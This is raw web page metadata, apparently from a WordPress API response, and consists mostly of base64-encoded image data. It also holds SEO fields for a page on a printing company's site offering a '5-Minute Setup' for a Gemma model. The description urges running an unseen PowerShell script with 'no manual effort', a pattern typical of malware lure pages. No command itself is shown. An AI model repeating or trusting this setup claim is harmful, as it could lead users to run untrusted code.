Y33KOuZlfmLR+kMadFNTAuQfWmgfdHFssOVfRQYf+yqMiyyecPZkdmqdXQbhtZ1DQ+cu1tLNhm+OqnAi+OWO\/ielJg+2JrscUkR8OOpF36MkcdNfFH1u4ApudeyBblYj\/6sD1ht0f3oe2uwfa8xhgT\/Acx3oA6DMB\/3dWyhoAJUb7okNr1QLzRMu6RA5teWKKvr1DaXA1NkHWH4KZLqRdNr9beanhS0fKRMTyEvzCzTFsnr3lab\/pKKscXQEWZgATCQquu3YrL4EGbx+\/vmtHZTycXWR+M5QE07qtgb10nM28aut0XV\/TJrxh14Vw67JP+b4aRQJEHwNmTErnF3k4qANT61fojZBpxDIBE7mt4GmDl75OQEbVov2OQnVaO2G0PTgPQeBeI8fvB000pn9iElA54BgLA5BnHSuUD8dKp\/j3wxX1Ol2C\/scH2ENnhDEBYdaqxC70kZ0WsgyX7Q8X2rsCGYmdzC4nLhz2FBmM8lWQXh8Tiil2317GDcmjztUMSS7jubPwv0CK8pO2SMzIA5W0uk5XKc4COwYYJRLy8qAJU0SX1HbIYqXA1XpEAt+RXxa3hT5AR3D4yhHj3jpXe4dBjtj\/xrHQ6hN5YtpYY\/VsRT8QllPhkYMPm0zvFT1DU0gJB\/inKN9og6OSHmAHgA2tiiIz2vEUUNkJ9nhBpSb091VsCw20KmCBlb\/0zZeA\/Do9OTxgH4C87FIl4r7NatUw73Kr3AkCR\/5lfo6tPTvWYCy1PFcpWMSNtbQ+GfLpf72ruXUo2aVj3AlVHQTiuUIkgU+tGsu9YFQY\/M6Ht+XKtf35Aa9f+KrO3Ivw9cWwCO9KtcEJUOlBVWc2ozJKWJdcZLBcYfDQu27toyTX2VIOvakuPaD9pfDa7T6zbx8+WQQZklLLCnGBV9VDZYebzwKzpcuWtGFzVLvgsAAeLFJcbefzo2PL9gXNicJpGjPNAsVq7mBYSVzxuJamDypQig0y3FzBuphnsVTp4OWPLBVcZRUELsTBZHsrQaONfYjgAD1mDEm7MpUBOIKbMWFp8IoE9QfJYosLU0mFS32f+7tTUj\/G+o4hOgae0DHEYlbHwqdmnLLVWkt+nxMJYHLTyeR3Jg+9galwmGceLUoGgB+gjZfgtYGLSuuRRKvLrY6u1Sp2cB2hlviaY1IoMq8ZA+AvERymkaqxOJhN2FPBF08ZhrZWl8DifuaNdvxJywh2hHxeDfKTdW0bkekGrZZSiE4Zxrpk98l1BNFQvhFZvCf3edX1CVuEL9szL0ToLVRY9sdTPYJwd\/\/mnadEGTyJzMm8PX2UrKP3oHUTHxMMRtfceFjk3q8nQrIcVT2i01S3WwRegtAcKh45+zI+7U6ILpRCeOo+CDJCLvkidMTCPAq7E2FOUwwMnjwx6GHnywexGpKV1W1vOWAI78HMXp2URgF2AEWaZm1subAep9UD6l9sgCboAElnRPUo7InhlJ8CpMmDobhosso7BXihxG9jJ9YPOvpvkp0rRzSNbACgIeUeGQFzuL2fu4OCOi0uzeaIo14n4muWeBXgE\/68cZd6YCyJlKSaZeNyxAzaKit\/II5h7DEao8Tql+qKU9A8PAc3vAkTIpEZdWbJF1gBG\/dREylkq10kj6DROhizUT4DbdQCqkiSn\/BtjxGNLdXu2iHjZAAANA\/F7kRCaAAPAq1zCUiyAnm8Wa6gZoSiGQcKACPYGC1PGqEqvVivr6tRAAAAAAA==\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#webpage\",\"url\":\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/\",\"name\":\"gemma-4-31B-it-AWQ-4bit on Copilot+ PC 5-Minute Setup - Mono Matbaa\",\"isPartOf\":{\"@id\":\"https:\/\/monomatbaa.com\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#primaryimage\"},\"datePublished\":\"2026-06-30T16:34:51+00:00\",\"dateModified\":\"2026-06-30T16:34:51+00:00\",\"author\":{\"@id\":\"https:\/\/monomatbaa.com\/en\/#\/schema\/person\/0666da70525e8dc488e0136460da820e\"},\"breadcrumb\":{\"@id\":\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\/\/monomatbaa.com\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"gemma-4-31B-it-AWQ-4bit on Copilot+ PC 5-Minute Setup\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/monomatbaa.com\/en\/#\/schema\/person\/0666da70525e8dc488e0136460da820e\",\"name\":\"r3dc0d3r\",\"url\":\"https:\/\/monomatbaa.com\/en\/author\/r3dc0d3r\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/","og_locale":"en_US","og_type":"article","og_title":"gemma-4-31B-it-AWQ-4bit on Copilot+ PC 5-Minute Setup - Mono Matbaa","og_description":"Running this model locally is fastest when deployed through a PowerShell script. Follow the sequence of steps detailed below. No manual effort needed; the setup auto-ingests the large data. To guarantee smooth performance, the process auto-selects the best options. \ud83d\udce6 Hash-sum \u2192 0d45477322788c2c8df4ae183d3e7c47 | \ud83d\udccc Updated on 2026-06-26 Verify Processor: high single-core performance needed for [&hellip;]","og_url":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/","og_site_name":"Mono Matbaa","article_published_time":"2026-06-30T16:34:51+00:00","og_image":[{"url":"data:image\/webp;base64,UklGRtYoAABXRUJQVlA4IMooAADQkgCdASr2ARUBPjEYi0QiIaEQuexcIAMEs7XroNbIw+BM2N\/8bhxPXcecfs8d3PkmA0S2aUzq4UWRGiM\/K729Lq\/avw97LvS7qXywvL\/z3\/Gf3n90v8F8OP9L+Rny5\/Sv\/A9wL9PP8v\/af3e\/wfxQfrB7zv7b\/mvyA+Af9J\/wP\/h\/v3u1\/3j\/gf473L\/2T\/Kf6r+5f5n5Bv5T\/c\/+d6yXsL\/up7AX9A\/0P\/\/9m\/\/Y\/+X\/R\/v\/9Gf7O\/+\/\/S\/A7+wP\/k9gD\/0+oB\/4enX8v\/+PpW9kPznmT11vZXOV\/ez8f63eyPgBezv8B+Y3ucvmegXab1CPWX7f\/y\/7731XpB81XuAflf7B97t9w9QD+Wf0\/\/Y\/4D9yvic\/8f9l6APsr\/2+4j\/Pv7d\/0P757Wv\/\/9un7p\/\/\/3KP2I\/\/4Z+3I+gz5\/ILZb406IGkEa0P6vCT845rNPtQYEd9txLK2Dpp2YSIfQirEuG7rLCtj8tnwWuObLJBE6jPxn+oHLu5SRkgm5vYPsloHaqOaprE3+9WVhLc8s2gV0RjIqaraI0jRftBrF2komN88YdwBSVaGNCQVmWLBVZYQ3afY+aVyIoPlkKnX3zYWfqucegblh6nW5y2LgcQ2Eagwtroi6JSW+k\/SoucAAvkkxJtHRIU3fJyWpI8KAGD1dWCSGNHqkOHebLvLOmynaXFIAlDZvNcwaJsz7R2PPKLhf373MgsGkwhpY9MlvNha48iiefv610NORKmwhuzS75g8iZee8vo2g4wBUV4UPp2tkVkzQVhs8X+pRccXBsNAnK4vcwIkIIHoqeNb2qCRqCjxlU0uERdkWTcn4xDY4KC4vGIz2fR6XANM+gE1aNHSFiB4BQJRIJuOknAdiG\/H05+pFWO\/gHCfIoGwrK3BG8Y5mG1+AU85nHhO2M1eyUkyoOQLoBVlfPMIs4DM\/V9ZZ6lljFtf6vOnazeef6j3MCA5G+GM20BozcEGhvYTgmRx4GBmbaXN4G6viEMIWbM1VFo60BiiNT3shLNDssaYYHgMrhymhjZM8V2IDgdMDaURTfKpndIhLj1AdVBlZrRWYBMMrrD5zYv7H2XRGD8ewEX0sv54HOC5yzYA0tUVDAx\/IoQO+aYoXGzF2lB7u3xef2IYhOS6apoc15eBTLYIDjh0Al92ZgqGBXiQGSjvDDTXzSAVciZ1qfax+xO23ruKp3R7utkttb7q0R0LnPZRXD72kPVSMo+jdFLUgd8f\/OY8QJZZWIXABHtDYHXq6EJtwkG5xwTHknelc49addrEnnsYW+TMB1V0ue5Faq8FCuyqoMt8yIL8RD12h1UsaDU6BRQplhcuGxkN2eQUwckmnLvFONhJCy\/JxlSNjSvnq2m3ySQMOsqRDaKpNpIaurtq0yONZg4RHHloCt\/K7TP+d3xk5B2h0q0d9+kq\/lvL06yLrh+rJJQAH8\/EQCuPJ+VIWfA7H\/ypXp5NQXqQgArWmGTQoDMKTicxETDaIBHqKx8\/GZTMFQW7oANzySci1eFFyFaFEIVFWQI5kqgYlBbx08p5jf5TIp0xmZ6MseQ3Ie3nybS5niF8g3lug8AAP73Gzzpsq3sulH5NyyyUJ3eiSNmnEOc+UwKwipZAKEx9mpHsl4x5by+rzk3xcsEbvy9RHeO78NkDK59a9OiQ+YYlHPbN9gpH+1wRPDXcGzsVNmc9irvY085zNOoQtbV4ZEC7U4DaExFYMIB3dohdkKZuYrUY4Owdb8yDcwPDVxK1IPTPnlv8+OHefpgVAi8dJyFH+4bc8yQv4tdOWnnq0oFEG73AiETRY72TgVwbox1PmTKT5ouoW2LWvHVKlmrHHkFwrnsV6pM4tJnVHKLQ4f4jW2HwaSgOfi6X0CgzTpf\/X8puuEORRG2RKxkpeLvgEe7ZUmDyr\/Kc4YxuHxAuz1VtOL0j5lCjHFVFxuuFt0mh6MOGQpGZlyNiKzP0wUmAv5e13x3bc\/gQ9C3OzRDdk3qVT+uZLDSspOG6IAhslH+q2wpqV0w6+PlLXK496g0NGt\/trpnaa0EhGJ18r6OcaJJs0asxP7uYH7QstolNjmPUnrWJd\/TcpRHbcx2AcC7sxZZJC2wH9pXLdOdSlP1pHAZIGvmuHUl7b9t0tMCSQeQd6nyir0CgycIQm1\/EoEDx8MslgEXy08X10kj8TbDOV74oeB6U53upyVLm8JVNGxPQWCZ7R\/RojTFfBtOvXNK8V2sLvk9sbEmzgmDLCv37yWLTnGSCblQQr0hMIKmhqSCyaB99njHpXE5FEO0ao5Aae\/RB+1TwZWrfg1BrAt6hFxKsOvtqu\/Aiv4YI855iAjRu7Nl6xubz+bKBuR4yaXaxgCPQ+kirYMwKvuWNN46TOmdlBtxDPrvCLuAVBYGKEHC+9qpIygZRrqDkbuvrKwyo+fwWsqBItVr+ijCzeYLezoKE65stpflNlaHGIjQDRZ3RTgSehUnBHW0bC0nl2ubADHyta7gI8WOkc2ClS\/r9B9rZMkQP66OVm09gp7rWoXlKKR6AN26eSv1WiD9kin69XjbgB7HfSCs3NCoCW2TGnlxGyXOIpACs9XWCf6PHjWAep7T2MI27eDIzyx8N5uP8piKpTp1i1sBC9y+o5XHXhXLiKkaxHHUFcK7rylL504C45NqVsUZgsKuPilz96HdYcy8IVXgSDzdQ7wR1vererQurzrdERN8xSsF8UzaIrlgfkOLxUSl+6cVjeXXuxbERjIi2UsKiN7hxWlSEsSNhBYmMkxgMo6tYWVsYVaQxP0b\/ffXO7M2xPfeZjBy7sWleSSTfU8UJy66vRviMNmQUS17DS\/iyfqflkP\/KRGcc8BFGeXKJJw3Uip3isPJXRKb0d61Tx4QxS2tHJz5EozWYcFBdidX+NxWNuolXNytmxl4U+rKoBZjXOznOktq8fpZFQgi8EPL4ZGewGZXFDboaqWCGf1ShmLtSyAlS1n9NHIUuUsTwKfAYt36CEYpoY5C780De0yNch3x0avc2v7Ssp724r9lLMgCaCNFOceGbFBbWoivgynryiCqpug5svNB\/ATX+pRAsgbygbFYciwdYJFLszq9Re2zD4K2bI124dqGulmO932vVL5k4zYXDjJAkPmEHnYHCcUVJS+qa5JeVYL25s6M8ezQtb3II1w7yD\/lxdoC7iAbXWQ5FOJQIVu5dJieZ2iJJ2NtXxcnd8oeM9slbUYLNhY879UcPP55E+cnf3ioL3wtvAjykuhIG95ZS+l2VIXsglRJCXTb09gLkJM1\/epEeHVbcZZkvq+xct+0+ktyvscmRMhDElSl\/xhrHx7Ey8baCNAPh+FgBpeJp4P+m3VpaqqzvyW5h2ef\/rrEVSvvHHfTXn8swuIFeWpBmhZjIaHOtRnoeYduXK\/4VTpz2e0nP3G2UzuS+8NBcf4ajrehoD3Nv610pYcJzfoTkLxSCiKnumk0NQa9RjMLG8x0tcsQWSt3nFDMToTCjvQDuusmqA+bxSHxnW9VgcakkmuY5ceDEZwPlrycOZvslhSvhojQuKaJDLE3LMfWwRHMIyZYYVWDe2AYo88hS1+b9+LB5ulCBoD44Zo5nOuxfYh5g0+gZlaiO2Z4n\/jfdUYFvvKWmbw0Q0qcb12zBn\/R6rs6prd+pbIm6v8GAOlQNcLshVv0Gb03l1lUfPzT2tyrNfjyaoS11VCYucb9l7e1Prw5lrDp8BVqp4PsnOJH\/dsRUDutXu\/yX68AkCK80NWbqh0W0lrdUo1TzSgumOipt7fE6TJwfOvkj3gEyhTvi2Obm8L\/7o2H9+\/KhfuSTaeyanLj0bMbcUyPyPWVioUZ6PvKCF+iK7B77cCEJXvrRG+WC1GxdpbgLERzsUuWdbQy9nj3hv8S5NASVKNeQ\/hZbOOFIInFVKVys8a\/jYycPx2\/c4dtIbxOrdY5sH11sWxErTb6y5siw4vJbrFmywPWeDSgnOGQ8ioXRvc1MlOlwfSvFIbDS1IUeHTnGfKK\/v1xePcTG8CNiRwOq1ADPIAajQSC6QzuGBOnRBsV1AJVoHBZlIuljJLuAoRTiSbwGkzav+\/EyYxjsdJG+GeE5hfI\/\/CoR9jgvsAQPutRXUJchFdvfd\/BvwviiB9YEg\/gn0bl6LqzGLrHh8vMqi1cG\/37GvJooy1EhRyo+0aMYZLj\/+4EtsQRyvfFk00QPonpCo9\/5fEAiSkEFuhE72pplN2aNDymfkZgWIdyxE2MPdR3F52cFUwJ1xSHyp41O7VKrTo+BfZ8LzVqY+tKMuMmCAJFtY96DeDgILIN\/+PzBN1\/KaJgCWo6EcNiV8XBXz6o95JDIVW0\/Lfh8WQuwAn0r\/5SJDfEAz3Bk+6zlnjkhxn8xhubDwyz5LU5r\/+YwnFAr3tAM8Iex4BOD0UN9ZS+LKVgn+GJ3uKPo\/PWPf\/lPG+L7+zEqWpopYmf2Eu4JQmVJSHss\/Fm58VU1PYutLTd62Nmx8KbJxRg6kYGw1j71ypFZdFZJUQ+dnjjEtO6mInn2SAMBO33XarmuegGeftc5aqoyHmFDVxjkJgiX7quvrQzBH7Ybypgkr6BKPmPLYHmlbtjWOqWzL3rtbeesBtGENAFN05waX\/nWW9JPKHaOYHD\/Shfrigjigj3AMrc4O+UpNKlhYjSKcEbHnUJ5OsM\/YIjfto2IaoiudrLqDGLKNYi3lyTnEZCu6PmUlp7vSGcl0Gw6FvTcxlnzc5CovIBNrE2rb5TcSXXhs2k4sLXUsxmgSgCAdkSOe3j6ICY8hUSrKUkNSrTrjTRqR8C2kcgRQM123qJgrqX9YqwDjh+GW8gRTmPEKoDiU6ZMnCrOPnhVJXbFDcOMnhDGrVmvaydnB1cVqmKyV8TGT64obeweO2AWBzMbR+o5T22ju7zaEAxEaG\/vusNe0jE7gGlFHNH1AGH9Lm1XfIXQK7aQjQzXGdIy9E6dp4LFBmqUo9ftbbHPUJKY\/wybgivDF3g\/vsVWEuDaGgAnxnPOYdb0Numhn53sqGWtR\/sKuLc3I5jAnEaDzLB1Um4pUXxHSFqyrXnNrIsdFjqMw79JuDpZc4zUlxRw6zUXmZAlW3N1Zqh0LtluWdh6D5kWGzH1VE6VHn4JewrRqaqamp+lsc5gUdWMqIJ7uU+FtSFFV0VhwzaO4El\/Qmeg2cw8Q6dPEPzdbJ9HuEu13yem7CiSe3KH\/wAkI\/dLsIK2603qDJnnvd02MXmqJRuCnUchOmoxLowAna1KJpOzRbYT\/qW9AYhLi5Ei\/IZCPj1fTVWVVXNHS7Hh2Xxg7Gd01mXN+5CRhFUD6ZE5sMdebjM2HCHDRbMZhqG\/\/c8REvj+6A+fz9oBTAy2CMlNlvWm7j6LLQpNvbaEdERWgO\/bLYEln9zA7nesP3crIt3\/DUR7R0YTWqvOQwW2LwSzWnQhiNhWNE8MRP0\/sB65\/9wpiAAXXm9MYZRx4xaccyxnkwSVPpoAd1VmWbNUsix0sYSaqPgEvkCZKrTYaXntNwCO57lXgokUhky68yCeOGz2+W4ZtwsuLJm4UDp4oeGG5Y3bjEgk5AVXCzaYVqWT530G5TBlyDj1xVo7EU+F8DAbUFObq6mxRFtq6hVuRKYcXNIZGH53i+D+7+kEhGG9ZQzN\/ky2zdIr\/F81rkF4QJ6M\/yviIBCMFOJYgB6NkMCpeOiO8Q\/bzjpWfklbaxh8ZAUG36fcArxBxcIFkOrNNlmXijCejpExNk\/M39BrPm6cLk1JjfCKab\/9y5GYtuyr+pkhQMY0UUiVw8okRyJg5mUJ1ogoB77HZ69xpQnM8j+onI7e8d0e5TC4EQpwvshMgD2o+EPJ8rTdScFPghJJCK058yZoO1jwqnL4oHM9IONBnu6tdpwreYaNdYmoe8f+UieXHaj\/1OtsXQ775i1Z8qUd+mOpx+zxRJX9ub8a0CgLOnAtqiPOmHFtTvzxinwe8TUwdFGyYVgNHt+2o5g\/eiBV6YSxNdiShRTTtj2d5d6BRxCyKZ5e7+dsBuCWBDQEPktDg2arzx4lzsJ2\/3GMZJa2W6wFVoy3P6QcPw6hbWOR6nGHurtTZWCsoHZ\/MP3vOl5lzOjCeNW+LxcA4CbN0nvR5v6WA8kMArEgMZ93PIJLUp9u28WO8vs+nb2LBZs5ABGagj80wN5wzxATXn1GbeN+K4mnljB7FhOJ5B6gQdxGvz\/KtIgzSQ6UAp6SitqGTX3QQD7HdDfnxk6wvetXkfeWODMr2v6HFxEa9kNjIx9btQzUNCVJJaRMO024duPdv34W5PrzN\/1HJEMbxrtQ2ww4az\/7i+rwb+Lb4s6bnO+9+oDhDVpLXv1LRANf31Q2Q5u3J4bvzY4+VtCHFDZ+27c0+aOG2qSbgAF0BxkDElFHvNhKFZW9lyOGIm5COzEe\/NSzMXTc4WZyZkMR5PC\/P50gezVZPTQXb0pjf6Fhg\/2+9e8snY\/5FkxJsjNPhqIGMfuuJZLF6rTAcLFVUMxwvty1NUfQEvXuUVgakKQn5doxVyElvuX9es9oA7YX8oexB1TxU8tCtfpRXGKTVow2vm4bSYT4Fr3YF\/3zDRTlXC\/O9wwQfkwmkGonmoHWAWeCZgYUXsLs0cEHk\/vZx1p33rrGXILhPIwyWISMY3wSEq+qRWQCp8ffdyJIaeqiP\/rQCXdIb5XA9UkMWt7QOG03XD04DjmWeBfXd0ykBw5KmH30zz38aMvLGPaBysvdC7Dx9D7MVsd6VrMrUQwpPGzph8ley\/wlgwm\/IqUGlsEIWFEUz2p0vk48fC6\/RaZFqfTRNqBigTQu+7SeAkDd+KvpwuibR2DjA2uhqjQJqkiIsAJ6qbjbSa8ldjaKZPrGOtArhxhyiZnpaR5IaH5XO1wljlbcmeRcnCBhIUVdwAf9qASL6F7YQtqbpZxN7ZvPLnEcKCkcDLnLI6Pp5CIDqAICjFxF9whXD4Ke+s8kTA94w\/5h1qX0aUa1OMb7rROk8f71cWc6k1q45dHdjT4Cd96iB93mNRbeGQ3+V4\/x1C8osy\/RWacVWMNdWa65E4WO\/wm8Zbb0O8MB11pPbuPlEvyRpL\/iF9XJaq702voKwukPEeqcmzm+PWpwhdYPyVKBJ\/Nkz7rzO6A6GqI0JNayUH2J4Mp84WtCZHcVD365L0JAJQTkIak\/UREFdCXWxw3XGxmPuF7jUjJcw3tZiR5oVFcsUMW5WMHMytegi8\/HbVuGGQ1XLsUbeIjL8ZaXikb\/XUvhwId2KNFtLAyBUQay34UwWIq8B4BoER49Yp0VChx9BIidRhpga3qhT3XPOJh226G5OoJ7kQ4j71kTWglyN+99bmG0T+BOmhERnTeq9X3z93dpTbDHobpj+BmqioCMB0eAVnxsivDoM6Ou0akQKCsZXXy6jL1jhD73R7aEBkldnBcZ5q8YtXEfo47EWuEjQD83lYtqZKlKHsnK5RwsypzQm5JZVCDpZEAkEetvvLq9g1Wq+rQ7pPRNsBY76ghTYBzAYD+eh06MG8NaTXAqCa7qPoeK8THKybkwvpJeyLreqKPGL\/K0wBahZxI2IphEiP3xsE2Jwo8EhfKdn9e60QuRJfclKZ32bHf8avEaqkKmoEohhLqrKxlIzjcQ2ddUUvHalbTQJKxoemSEFFYjnIIiwBKLsRo6ueiU3gWAyShJ0XMNrZrBFwum8sBoDm+kznAcKO2jWqpr74X0y5CQjc4BZOw5AZ5dswSV80n5jAU8+spDzn4HRhkZW17r73Wvwm+EhCqZFdxMy5J0Dk+y7zjhRkIwgUNmKFNbYiPxDpcimnmYEplcdqla7r6D0FHJhoERsYrFfxhOnkgZvbJfaUOZCoJwmiPFoi359vlo9LVR15JEFjX46sZIhjlNQhXKTnCCYcFb7kmGW6Vn25NTpNYHHWaWCE\/ZrJaZN3ND1Bf8hWgguihAHVejTzkIfy9CSFduiPYq4w9X3Vi2twfhJw7HzqHytsXYJifc4Sk4dbz2xpMe3hMnw1Iyhto0F9Q1oF5Na0oDxjzJpsHRtaozWTilrAsllDRQDCcz1O7JAuS2qppUQzX+KQI9cVCcf1oie\/CPX3WYnRaqVPKzHbdgvKGXjH4FGyJHRAWKS6bw0Ui2FgQPtXPwjTtGQ8xB0VcDu6KRiLZ+AVLtBQUvTjTu0vh1yx6ySL52YzzSpuwf3EJd6L59G14jvMISC44UXCdeQPXwKLACOAiIh1w+3du\/eY80kPRiHy987DeNxq884kE1kSXU1GhupmfF4GH0xDEGurj9TGe4\/YFO7x9fG91Rvqwertl0serpxhLu2y2fTvvRjzSwqS3sG7Xcmn+aSLSRm7U3dvvyqooCaeQelNPrzpWuGrjevtbyxzysQFzsR6ceuOhYd9O9cZ1tR9FzGzMnAjVPO7hgSqehoYkKzj9GpiY2ZND8Sl8Qk4fPMpT5auDwaw2D+BxkOPOHZ3pRWxB8wQnR+fSjVM66ELllibP6vlc7Rq2HrJpFvggZUNomBw5zu2ECjwt50kSgi5MP68j+HLDVDSgunMcRb5uGqPgPgXbRoQWQHt+zo748ZgOs8VO75d77R8O9ZTnKrArO50epktdzfrLcK5TQMBpmyn4w92aKK5C7fVB1D\/lGp+VyJ+lnjq7zr0rfyZwioWmDP2DXU9eR5a1WszwJIU7iCLbO35AYEgj\/8GC2Y7cmhP8Q8HrRzJDJW\/dKI8Of247xr4HVuL0nivz+jnMzOMFIzRDcvBs5qqggFIWDSdYSzBCFnOccXv69mE19pMoU1VDhS+aqZWBqEGGkNgYJheU9EM\/yuWXQKzxf7bxyejuzytjgCQIHKsdRyWOFruJ1ZdHhyNn\/uShCjOG9zspldpmSgJOWu2\/\/CtOt1v3+XFdBYB2TSotPApdHAzLgzbzm9v64ipj+0gXRGlNQlry4RBCPFX46Ifi7hJU7MqSiKH\/yp6EhD4OTyvxerNPqu8gc2BMfs7qXeoQuYsZ0uge1PemYBviQ8jT+Zl4R5cyAVK+cUDxLgrflAiW+5KHTHyjSjt5gb8owzwZXikEeiQUrLTaUFOMC7xYIGru0DkSeTA8Q4oOEdA0nUCvHecqoUwzMliW2IbU44NA7T2k4zorOIA5+52bYbwxIO\/A66XasWyfM+ExJxYefn12BN4XT3bncCxbcR34kOWr10LMWmD+ApYA0YaO8clPSdotBc2o3j3eGR7W+3I1To93BCRWPXOb\/hvwgkhsgiGkAOdCvTYCfkNDKLxT\/0viSI+QOkhL3eVgYUk7x+CV6DEh7Fr82SdDbjJ0jH7Dn480RrYBowhsEyJ7H+\/SQetPiklCWLAZnC4edv+9GrkXH+xbmRT4IVviFvkSys7GYfO\/9GngPjM7LTIPzcpHs5750JtJbhZrOTACNbzrV1sfozbJxzusjBTX0YWy77k\/8TVfPV0HUuw9thzfjzV6MuUQa9rynn6\/tCBirzRjBWSjUk+n6H5mZFsOMX9+OdNZxWSLNGvKWyqeop2NHE6uPFiiiqbD9Hb6SnAP1loWqD5EBEQo5+B36Jp+EVdYBxVpNs7JhRmHaN2sXiVyMVaRPMyiZqwnBUnz5a2QBVkIC8lddMmmM6yxkZ8ELbw5uCW1lSLgZ57Npr\/2WzwoZC79FG1jL3budhOteG\/XDIbDtCplmdkPNxKGAC6Et8rpnlprBjV8AfIs4I80rzVV7MI75WnD6Z3DAzrd9ks2e9MXF\/TUOh0cINY+25KBBD38EPnuHi2sG4\/iho10X0VjkiFcoUe7mFsz86A80Cks73WM\/wtRabP05m9P0P4qmtzANfpeQtD+52VAeIIMmIuC3\/EVckiMY2v2lqENDkYVDMilZh98d4ov31PSNYabaxe2GD6Uz9m6RS2a6sY\/0ioAtgZ\/SyqfwhQ0eNMsYlZDU4vGqNraf\/BA3EQ601lxguJlza9iDIAC5oPxEFnsv9SBj3hg96MwvQKvIO9CHf8PfKZ4abWfJVBF2xC8fdVvTv8SfRp2p9\/v3FZerCVBt7FFO1XPHFMgyKwC2heeJ7axHfBedA7m3eEU+HJ5URnrSJYwimWMJT4asaxqHuizMUamg65MtFxViSU1G+s6JSzVu4yMwXq1vx\/z87+4V4VZE9\/Bm163SWtGBHLWEDGZjOUweLClJ9Sk\/nM205k9\/r4Dy0x+MNAFrT7O7Ka9lfTksxnLSGxlJCWQgqFl9r0uC2ZRha7A7OOzEG6xtkmssmebl8B2R0AOUGucI4ky6ynvLWICHrjhkK2axCo0MSEB0e7v5G2K3uK9Kc1hTEVpFjbt1j1cEf92xHewGzWTaXX4HyD0IqrG0rhD60zg51g12L1tEee\/GpVLHKEo3JX2wG+qZHMdlTWo59\/\/Cpf4QcXeIOp0JC12u6lVAqRtWZ557F\/+8skkKexdF0RzWeokAI0XJ3X\/4OQkPk++XrErBpRR2u\/Qjoi0WF9AvC8\/gxftVKxqXXVlG7loElEtlEOARPqhVnIzAzdv1ZsAhUlCeMWSPu88Hgt1VEfyYLXyfKkBBHDmf9Fz59QTpfetopvQnzzlkwmmJEQ2vMq\/+Gfn3bS9nZ+vi85eGdz52D2hiDFlXbVoB89P\/wcatHSmMnSEK0\/fx8GbUo344DfAs6Tzngq1nYYP9LDksJQ1K1knv145EFt\/ELR+57y1xFDr9+aKRNFm\/BAbmns3MyRnOEY4RzuO3jFhKZXivDDp6fkyD1FFBMSh0CfaXU2glSVVlLzEcU7vMeZ5Rg3ZvKIEj8KpPcdQvKVPUV7mGWDlgFb20P3QKz7KijEgUUoXcTkLrjZPIhOUuW\/oBn72Map+OU+MdKvtYExvQ+C5HN1E0FZpVb+3RPi+Nx6FgPOfXZPlh46pi+1kSFgVbMlDfJ1nYS9kkFTK8nD4lPYVLArO6NpMT9O+7icITwvDGsajD+jdarZ48Am97ylVropVJs69HTaU\/NHHI4SGqqT5vFQKVVrmj8ZffYr6O48WxHxaVSElkQvpjDlRE1eywA++bcooIalgxDorMP4klr6ElzwJLKNPvszt5ju0IFk6aRaUc5l3tXvJW+bPgUhVt5Fo9fdJJaSUYekRY58LDQbZq5OrHQZfDRyKoP5yOkF3yGycFx2xYXcu\/GFL5sSb654T6xA14hXMBcprkF5bcvdy3atjj9qzh5yDDk7Sdbybjr4DcFNo7nLWpOmpH8SNlesIfNI9AS2U5hPkY3EplFE8jTUSF2SyU69lNXZ9lT2Vm+3tl2iO9+xj9s1qC1Ts3u0Iou1cigh5zIIgemID0UyjfvvzBbTV\/HugWJNwbz+ArhdsI0oDwGurkS2ZNsyXDmtMfVxza7mrs7pjx1\/Y4wg2OZmIY8dbckPxXDEzfu2iMr0KVvazPwCkyaNr+s3VNYByAykoxgxPAC6mJVKuxHn\/qrqINgIVcw6mAUgAvThQSGGbAlqXE4mkGNoXNnhMl6ZK5aYgfkG6OKpUDf2CfTopI2R1SGXEVUXteUtOa8l7yOJqcwYJIO+MKajLfz2\/M88mNbuvGuG\/Q9qCCWEhPUOH2xTG2j4vAkZqXarwqNMdIXTS\/EK1f2kQkRke71O6ilfd2nHisxmmKxEV6GJqea8R7KGke\/TVY+kJA5mwKAhzL6GN8lI+wx1GQyxExQV5hpz7Vwq88LM\/mrF70lpk5V9QY6p0yGc\/LY5ZZhPPiZ51SnPxeuD08WDHj4VGX66KBFmI0X6XWbmJyX0IfwwB7f\/lr9IED3YBqz2tTAnxYE0umsPdwrJLGeki2yS1+SzNoXKiXY0D3ajBKB4jCaF8PSpRTQUzsSchmKe0nEmeR4CUlPWi6GNaxRAtZtD14mfxl6idXq5Pf\/iBlGRdgh2mgY4tZy3LAN5sbX1C530OjgIz2SuNZoC+hxKBFNGFuiJtGYymqElN58ASN2CIOIRnEAQ2XlyhWTwtgJSmg3DJGh8Wc2KgOpWN5VZ7S2PxzRCBR2xp1QI1RmA3eMcoP0vAowghU55q9i0B5486qvC2kN3SvSZ6yib9zp1r+e\/FTveOmQ4NAgm\/KxDSjAlGoEPku76mOUIv892rhDkw9PIydhZ+uxeV3uDAzzt+9RCfehP5KnVrEs2GE8OQFFacguTVBuHXVU7TwSV9WEX\/K2nzRpbV3FH6GzUWnpoyBYhbtGnyZv